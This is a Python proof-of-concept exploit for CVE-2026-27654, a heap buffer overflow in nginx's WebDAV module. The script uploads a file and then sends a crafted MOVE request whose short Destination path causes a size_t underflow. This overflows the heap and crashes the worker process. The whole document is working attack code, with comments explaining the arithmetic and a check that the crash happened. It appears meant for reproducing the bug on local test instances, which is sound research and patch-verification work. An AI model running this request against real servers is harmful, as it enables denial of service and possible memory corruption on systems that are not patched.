#!/usr/bin/env python3 """ CVE-2026-27654 -- nginx ngx_http_dav_module heap buffer overflow PoC crash trigger Usage ----- # Against Docker-based vulnerable instance (see run.sh): python3 poc.py --target 127.0.0.1:8080 # Against locally built nginx (see run.sh --local): python3 poc.py --target 127.0.0.1:8888 python3 poc.py --target 127.0.0.1:8080 --verbose python3 poc.py --target 127.0.0.1:8080 --no-put # if file already exists Dependencies: requests (pip install requests) """ import argparse import sys import time import requests # Location prefix as configured in nginx.conf (length = 9 bytes) LOCATION_PREFIX = "/uploads/" LOCATION_PREFIX_LEN = len(LOCATION_PREFIX) # 9 # Alias string length as configured in nginx.conf: "/data/files/" = 13 bytes. # The destination URI path component after stripping the location prefix must # be shorter than this alias length to trigger the underflow. Any path shorter # than 13 bytes works; "/x" (2 bytes) is the minimal reliable trigger. ALIAS_LEN = 13 # Trigger: dest.len(2) - name.len(9) = 0xFFFFFFFFFFFFFFF9 (underflow) TRIGGER_DESTINATION_PATH = "/x" TRIGGER_DEST_LEN = len(TRIGGER_DESTINATION_PATH) # 2 TEST_FILENAME = "triggerfile.txt" TEST_CONTENT = b"CVE-2026-27654 trigger payload\n" def put_file(session, base_url, verbose): url = f"{base_url}{LOCATION_PREFIX}{TEST_FILENAME}" print(f"[*] PUT {url}") try: r = session.put(url, data=TEST_CONTENT, timeout=10) if verbose: print(f" Status: {r.status_code}") print(f" Body: {r.text[:200]}") if r.status_code in (200, 201, 204): print(f"[+] PUT succeeded ({r.status_code})") return True print(f"[-] PUT failed ({r.status_code}): {r.text[:120]}") return False except requests.exceptions.ConnectionError as exc: print(f"[-] PUT connection error: {exc}") return False def send_move(session, base_url, target_host, verbose): """Send the triggering MOVE request. The Destination header must be an absolute URI per RFC 4918. nginx extracts the URI path (/x) and subtracts clcf->name.len (9) to get duri.len: duri.len = len("/x") - len("/uploads/") = 2 - 9 (size_t) = 0xFFFFFFFFFFFFFFF9 path.len = clcf->alias(13) + duri.len wraps to 6 on 64-bit addition. ngx_pnalloc allocates 7 bytes. ngx_copy then uses the original underflowed duri.len as its count -> heap overflow. Non-ASan: worker crashes with SIGSEGV (signal 11), connection is reset. Corrupted lstat path may appear in error log before the fault. ASan: process aborts with negative-size-param: (size=-7) at memcpy. The -7 = path.len(6) - clcf->alias(13), confirming the arithmetic. """ src_url = f"{base_url}{LOCATION_PREFIX}{TEST_FILENAME}" destination = f"http://{target_host}{TRIGGER_DESTINATION_PATH}" underflow = (TRIGGER_DEST_LEN - LOCATION_PREFIX_LEN) % (2 ** 64) wrapped_pathlen = (ALIAS_LEN + underflow) % (2 ** 64) headers = { "Destination": destination, "Overwrite": "T", } print(f"[*] MOVE {src_url}") print(f" Destination: {destination}") print(f" dest.len={TRIGGER_DEST_LEN}, name.len={LOCATION_PREFIX_LEN}, " f"alias={ALIAS_LEN}") print(f" duri.len (underflow) = 0x{underflow:016x}") print(f" path.len (wrap) = {wrapped_pathlen} " f"-> ngx_pnalloc({wrapped_pathlen + 1}) bytes allocated") print(f" ngx_copy count = 0x{underflow:016x} -> heap overflow") try: r = session.request( method="MOVE", url=src_url, headers=headers, timeout=5, ) if verbose: print(f" Status: {r.status_code}") print(f" Body: {r.text[:300]}") return r.status_code except requests.exceptions.ConnectionError: # Worker crashed mid-request -- this is the expected crash indicator # on non-ASan builds. ASan builds abort before any data is written, # so the connection may also be reset by the aborted process. return None except requests.exceptions.ReadTimeout: return "TIMEOUT" def check_alive(session, base_url): try: session.get(base_url, timeout=3) return True except requests.exceptions.ConnectionError: return False def main(): parser = argparse.ArgumentParser( description="CVE-2026-27654 nginx dav_module heap overflow PoC" ) parser.add_argument( "--target", default="127.0.0.1:8080", metavar="HOST:PORT", help="Target nginx instance (default: 127.0.0.1:8080)", ) parser.add_argument( "--verbose", "-v", action="store_true", help="Show full HTTP responses", ) parser.add_argument( "--no-put", action="store_true", help="Skip the initial PUT (assume file already exists)", ) args = parser.parse_args() target_host = args.target if not target_host.startswith("http"): base_url = f"http://{target_host}" else: base_url = target_host target_host = target_host.replace("http://", "").replace("https://", "") session = requests.Session() print("=" * 62) print("CVE-2026-27654 -- nginx dav_module heap buffer overflow") print("=" * 62) print(f"Target: {base_url}") print() print("[*] Checking target connectivity...") if not check_alive(session, base_url): print("[-] Target is not reachable.") print(" Docker: docker compose up -d --build") print(" Local: ./run.sh --local (builds nginx from source)") sys.exit(1) print("[+] Target is up") print() if not args.no_put: if not put_file(session, base_url, args.verbose): print("[!] PUT failed. Check that the DAV location uses 'alias' + 'dav_methods'.") sys.exit(1) print() print("[*] Sending crafted MOVE to trigger size_t underflow...") print() status = send_move(session, base_url, target_host, args.verbose) print() if status is None: print("[!!!] Connection reset -- worker process crashed (SIGSEGV).") print(" Non-ASan: check error log for \"worker process exited on signal 11\"") print(" and for corrupted lstat path (e.g. lstat() \"cept\" failed)") print(" ASan: check error log for AddressSanitizer: negative-size-param") outcome = "CRASH" elif status == "TIMEOUT": print("[!] Request timed out -- worker may be restarting.") outcome = "TIMEOUT" else: print(f"[*] Server responded with HTTP {status}.") if status == 400: print(" 400 Bad Request -- target is PATCHED (fix in 1.28.3/1.29.7).") elif status in (500, 502, 503): print(" 5xx -- worker restart may be in progress.") else: print(" Unexpected response -- target may be misconfigured.") outcome = f"HTTP_{status}" print("[*] Waiting 2s for master to respawn worker...") time.sleep(2) if check_alive(session, base_url): print("[+] nginx master is still up (worker respawned). Crash confirmed + recovery OK.") else: print("[-] nginx master also down. Process may have fully exited.") print() print(f"Result: {outcome}") if __name__ == "__main__": main()